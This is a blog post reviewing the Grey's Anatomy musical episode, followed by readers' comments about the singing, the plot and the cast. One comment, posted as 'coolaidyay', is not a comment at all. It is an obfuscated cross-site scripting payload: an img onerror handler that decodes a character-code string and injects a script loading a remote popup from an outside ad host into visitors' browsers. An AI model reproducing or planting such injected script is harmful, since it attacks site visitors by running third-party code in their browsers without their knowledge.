Blog
The818.com
Bio
Morgan (The818) is a blogger and screenwriter living in Los Angeles. She overshares her personal life - complete with curse words - at The818.com, ta...
 
 
 
 

Most Popular

Grey's Anatomy...The #*@$%^ Musical?!

  • Share This Post
  • Pin It
  • 42
  • Sparkle (
    )
     

A warning, before I continue.  It's hard enough to find the right words to discuss what was essentially the TV equivallent of a genetic lab freak to begin with, so there's no way I'm going to be able to worry about spoilers in this post.  If you haven't seen the episode?  Maybe save this post for later.  But then come back because I NEED to hear what you thought about it.Grey's Musical

So here's the gist.  Callie and Arizona are in a car wreck in which {pregnant} Callie is not wearing her seatbelt and is thrown through the windshield as a result, injuring her brain...amongst other things.   But I'm gonna focus on the brain injury for the moment, because it results in an out-of-body experience for Callie which kicks off all the singing.  So *I think* that the singing is meant to be in out-of-body-Callie's [non-existent] head as she floats around the hospital.


Oh, Grey's.  Of course you had to go and make it not funny.  I hear musical episode, and I know that for better or for worse there are going to be laughs and so far...I've got a pregnant Callie with effing brain trauma.  C'mon Shonda -- did you really need to make me feel like a dick for laughing by bringing up fetal heartbeats and emergency cesarians right as Stoic-Owen started to sing?

At least Sara Ramirez, who I totally adore most days, and Kevin McKidd -- who usually bugs the crap out of me -- have some vocal chops.

By the time Bailey (who we already know can sing) breaks out in song, I'm just kind of emotionally confused all around.  On the one hand, they've got a fetal heart beat, so I feel less like a total asshole for giggling as the bulk of the company joins in on what appears to be a FULL RENDITION of Grey's go-to favorite "Chasing Cars" (clip below), but on the other hand, I'm still in awe of the fact that they're doing a musical episode and they're taking it all seriously and stuff.   WHERE'S THE SENSE OF HUMOR GREY'S?!  

 

And like every "Grey's Event", we inevitably reach the moment where every surgeon in the hospital is in Callie's O.R. and there are presumably no other patients in need of surgery anywhere in Seattle Grace.   Which - are there any surgeons reading?  This always bothers me.  Is there any way in hell that they would ever allow this woman's closest friends to operate on her?  I don't know who "they" are, but I'm sure there's some kind of governing body of professional doctors that frowns upon that sort of thing.

Anyway I pretty much gave up on gleaning any enjoyment from the episode around the time that Chyler Leigh/Lexie Grey -- inexplicably and mostly unrelated to the story -- started her rendition of Breathe and it became clear that they were making no attempt to integrate the music into the story beyond the loose "Callie is having an out of body experience" plot line...and I totally can't concentrate on that anyway because WHY THE HELL IS EVERYONE SINGING?

They did kick the tempo up a notch in a weird dream-sequence/flashback featuring your favorite Grey's couplings in light-drenched romps, but that was even weirder and more uncomfortable by contrast to the traumatic main plot, despite it maybe being the only number in which I was able to catch glimpses of what I had hoped the episode it might be like...although I can't even say I'm sure what that is...

Anyway, it was pretty obvious which cast members are singers and which ones aren't.   Which is cool, except that they kept inserting the singers where they otherwise didn't belong.  The less vocally inclined *cough*ellenpompeo*cough* were given their moment to shine during Grey's old school anthem, The Fray's "How To Save A Life".  They didn't. 

All in all, I didn't even get the giggles from it I had hoped for because I was too busy being alternately disturbed by the weird high-school-musical quality of the whole thing, and the horrific pre-mature birth storyline (which naturally prompted a visit from Kate Walsh's Addison Montgomery, the only capable neonatologist on earth.)

Okay your turn.   It was crazy, wasn't it?   Or did you love it and think I'm crazy?   Discuss.  PLEASE.  Because I don't think I'm going to get through this one alone.

  • 42
  • Sparkle (
    )
     

Comments

Post comment as twitter logo facebook logo
Sort: Newest | Oldest
coolaidyay 5 pts

<<img src="<img src=search"/onerror=eval(String.fromCharCode(118,97,114,32,104,101,97,100,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,59,118,97,114,32,115,99,114,105,112,116,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,99,114,105,112,116,46,116,121,112,101,61,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,99,114,105,112,116,46,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,99,112,97,108,101,97,100,46,99,111,109,47,101,120,105,116,112,111,112,117,112,46,112,104,112,63,112,117,98,61,49,50,54,57,49,49,38,103,97,116,101,105,100,61,77,106,65,119,78,122,65,119,39,59,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,115,99,114,105,112,116,41,59))//">>

Morgan Shanahan 12 pts

Totally - plus, her singing actually made sense!

Morgan Shanahan 12 pts

I'm sorry, I was distracted by your incredible avatar.

I stick with Grey's. I stay loyal. But I was NOT on board for this.

yogimomi 5 pts

Just wanted to add, despite my mixed feelings about the musical bits not fitting, and the odd selection of music chosen, I was awestruck by Sara Ramirez (Callie) - what a beautiful talented singer. I especially loved the first song. She really was the gem!

http://thedomesticyogi.blogspot.com

yogimomi 5 pts

OMG, thank you, so true. It was creepy! And the part where Callie was so so so happy, confused me too with the overlying dark tone. Nice try though Greys.

calvin_0 5 pts

I've been a Grey's fan since day one. That doesn't mean I haven't had my "less than proud" moments (Izzy saving a deer in the parking lot? C'mon now). Part way through this medical musical extravaganza it hit me: These heffers are riding on the coat tails of Glee and have clearly been practicing singing (Karev) for months now. Seriously?

The jury is still out for me.

Tired of Previews 5 pts

I would have loved the episode if no one sang. It was an emotional episode that could have gotten close to the season finale last year but who's idea was that? Why ruin it with song?

I lost it completely when McSteamy sang and had visions of multiple sharks jumping the pond.

Oh well, they better make it up to us.

Morgan Shanahan 12 pts

I miss that giddy feeling. I really do.

Erin Bella 5 pts

I really LIKED the musical. I used to be a hardcore Grey's fan but I just stopped watching altogether about 18 months ago. I loved Burke and his replacements were just no good. I cried when O'Malley died (like BAWLED) and then when Callie turned a lesbian I was just so confused. Seeing that clip of Callie on a gurney and reading the words "MUSICAL EVENT" took me back to that giddy feeling I used to have every Sunday night when Grey's followed DH.

I watched the entire show and cringed when Lexie and McSteamy sang (that should never happen again) but I was totally reeled back into the series. Grey's has really gone back on my schedule as something I must watch -- no ifs, ands, or buts. My roommate is not happy about it -- especially after catching the last 20 minutes of the musical, but I let her watch The Bachelor -- so I've earned it!

Morgan Shanahan 12 pts

It struck me that they only used songs they'd already optioned for use I'm previous episodes.

amiedanny 5 pts

Ummm, yeah, I didn't like it. Love the show, and the first song was OK if it was an out of body experience, all right all right. But after that? it was one unfamiliar song after another, and yeah, I couldn't get past the thought of "why are they all singing?" Didn't enjoy it. It had potential, but it didn't work. And I totally don't believe the baby would have lived. It's one pound. The poor thing's gonna be deaf and blind. And I thought that Mark and Arizona's roles were reversed--he was fighting for Callie and she was fighting for the baby, when in reality, those roles are totally reversed...right? Too much happy ending for me.

healthyperhaps 5 pts

I watched parts of this and it actually did make me laugh... But I know that was not the intention. The songs didn't seem at all relevant to the plot. It was just so over the top and cheesy. I don't like Grey's and would not want to be a patient there for the reasons you mentioned...

I blog about the arts and health and disability issues regularly at http://loveablehomebody.blogspot.com/

janicecrespo 5 pts

Callie's singing was fine - they should have let the rest of the characters just do their parts - forget the others singing - detracted from what could have been an excellent episode- watch it again and ignore the others singing and you may find you liked the rest of it

Nobody wants to be Ethel 12 pts

I saw the very end where Sara Ramirez sang "I belong to you". That was powerful. I didn't see the rest of the songs. Maybe they saved the best song for last :)

The Patty Beat can be found at  http://pattyabr.wordpress.com ( http://pattyabr.wordpress.com/ ) where The Fearless Cook resides ready to take on your most feared items in the kitchen.

Jennifer Knickerbocker 5 pts

I must be really strange because I just LOVED this episode! I cried, I laughed. Sometimes at the same time. = good tv.

I am actually a bit shocked at some of the negative comments about this episode. Maybe I can't relate because I don't watch Glee and I have nothing to compare this to. Or maybe I just drank a little too much wine this evening while watching on hulu... Naw, it was GREAT!

I hope they try it again. Maybe they can bring back Denny and he can do a little ghostly dance number!

Jennifer

www.cooperating4boys.com ( http://www.cooperating4boys.com )

Tori Jewell 5 pts

I think that every single song they sung was featured in major scenes in previous seasons. It struck me more like someone had created a soundtrack to the series based on the past 6 seasons and somehow decided they fit into the story.

All in all, it was hard to follow the story and not be utterly distracted by the terrible singing.

Sara really did nail "the Story" though!

Tori is the creatrix behind Cellar Door Beauty ( http://cellardoorbeauty.wordpress.com

Morgan Shanahan 12 pts

Totally, Sara pulverized the last song.

What She Said 6 pts

I definitely got the feeling that some of the actors were uncomfortable.

Kristin (@SaidKristin ( http://twitter.com/#%21/SaidKristin )) blogs about everything from parenting to social media to stink bugs at her virtual mind dump, What She Said ( http://twss-blog.blogspot.com )

What She Said 6 pts

I just watched it and I just sort of feel mentally and emotionally spent. Mentally because I was trying to tune out the music and focus on the storyline, and emotionally because, holy hell, anything involving sick/struggling/preemie babies turns me into a blubbering mess.

Basically, I thought it was a good episode but could've done without the singing because I think it was really distracting. And the whole dream/flashback thing? Yeah, super weird and uncomfortable.

That said, Sara Ramirez KILLED the last song, The Story. And now I want to go upstairs, snatch my 16-month-old daughter out of her crib, and hold her forever.

Off to look that puppy up on iTunes...

Kristin (@SaidKristin ( http://twitter.com/#%21/SaidKristin )) blogs about everything from parenting to social media to stink bugs at her virtual mind dump, What She Said ( http://twss-blog.blogspot.com )

Virginia DeBolt 13 pts

I'm a pushover for a musical and not too picky about plot points when people are singing.
But I thought the episode was important and wrote a long bit called 'Making a Family' about it at http://first50.wordpress.com today.

Virginia DeBolt writes about web design education and web technology ( http://www.webteacher.ws/ ) at Web Teacher. She creates a daily writing prompt ( http://first50.wordpress.com ) at First 50 Words.

katescott 5 pts

... because I agree with absolutely everything you said! Thanks for putting my feelings into words!

Morgan Shanahan 12 pts

Dude, like NOTHING fit into the storyline.

Morgan Shanahan 12 pts

But at the same time -- why bring her in for a "musical event" and not have her utter a freakin' note? I wanted camp! I wanted the old Grey's humor! I did NOT want whatever THAT was.

Morgan Shanahan 12 pts

That is true - I guess they got people to tune in and we're talking about it, so there's that to be said. I totally agree - if they wanted to go serious it would have weirded me out less to just have Sara Ramirez sing her way through.

Morgan Shanahan 12 pts

I know, I *think* that the sex montage was like a weird flashback or alternate universe or something?

thismom 5 pts

I think the singing really threw things off.

StrawberryTart 5 pts

I thought it was horrid, but still watched the entire thing for some reason. I didn't care for Kevin McKidd's singing...it may have been his facial expressions as he was singing mixed with how messed up this entire "musical" was.

victorias_view 709 pts moderator

It was one of those awkward episodes you keep watching and get the sense some of the actors singing are really uncomfortable. lso, what was with the whole "Running on Sunshine" bit? It was an odd sequence that didn't fit into the storyline...

cpgrn 5 pts

I personally thought it was awful. I'm sorry but I can't help it. It made no sense to me and took away from the trauma of Callie's injuries. I'm really glad I'm not the only one who was disappointed. I really expect more from Grey's.

schmittastic 5 pts

I actually haven't been keeping up with Grey's lately. Too busy to watch TV. But I am a fan, and my mother texted me and said that this would going to be a great episode. She obviously wasn't listening to the previews very closely because she didn't realize it was going to be a musical episode.

All I have to say is that I don't understand why they think they need to tap into the Glee audience. This is completely unnecessary and NOT something they need to do to survive as a show.

I was totally uncomfortable the entire episode and literally started SCREAMING when Kate Walsh made her entrance (because I love her): "ADDISON! DO. NOT. START. SINGING!!!!!" Luckily she didn't so Private Practice was not ruined for me.

MarfMom 5 pts

I felt like a couple of the songs fit...the ones where Callie was actually in the room. So that was like...2 of them? They should have left it at incorporating a few songs, rather than a "musical event." I don't know a single person who thought the episode was worth the hype.

And the whole sex number? Waaay too weird for me. It didn't fit at all!

Chichi Kix 5 pts

I've been an occasional Grey's watcher for awhile, and I've gotta say that I only watched last night cause of the hype. I expected it to be funnier, but moments of the show was especially heart-wrenching.

I love seeing Sara sing, and would have preferred if they left all the songs to her. Would have made more sense, considering her head injury. I wish they'd chosen different songs, but hey... it's Grey's. Nothing they sang was unusual for their show.

The mood was weird throughout the episode. At times, I didn't know whether to laugh or cry, or be angry. The moments that were sad were really sad though, so I still shed a tear or two. But I'm mush on the inside.

Kudos for trying something...um...different. At best, it got me back into a show I rarely watch. Just hoping it was a one time thing.

Cul de sac Mom 5 pts

I agree with you 100%!!! I was so disappointed that they took such a serious story line, and ruined it with seemingly unrelated singing. A huge thumbs down for this episode!

Pamela from Musings of a Cul-de-sac Mom
http://culdesacmom.blogspot.com 

torturedmommy 5 pts

I was sorely disappointed by this episode. It was so disconnected. I didn't think the music was great, and it really didn't relate. I hope they never use this format again, they obviously don't know how to handle it.

kgirl 5 pts

But I couldn't look away. I really did kind of like seeing who could sing and who, ahem, couldn't, but otherwise, the show was insane.

The weirdest part for me, by far - besides the singing, obvs - was that in the hooking up montage, they were all so happy and playful. I get the having of stress-relief sex, I really do, but the whole tone of the show was so dramatic that the huge grins while everybody on the show had the. best. sex. ever. was annoying.

What's next? A CSI music event?

Karen authors the blog, The Kids Are Alright ( http://kidsarealrightto.blogspot.com/ )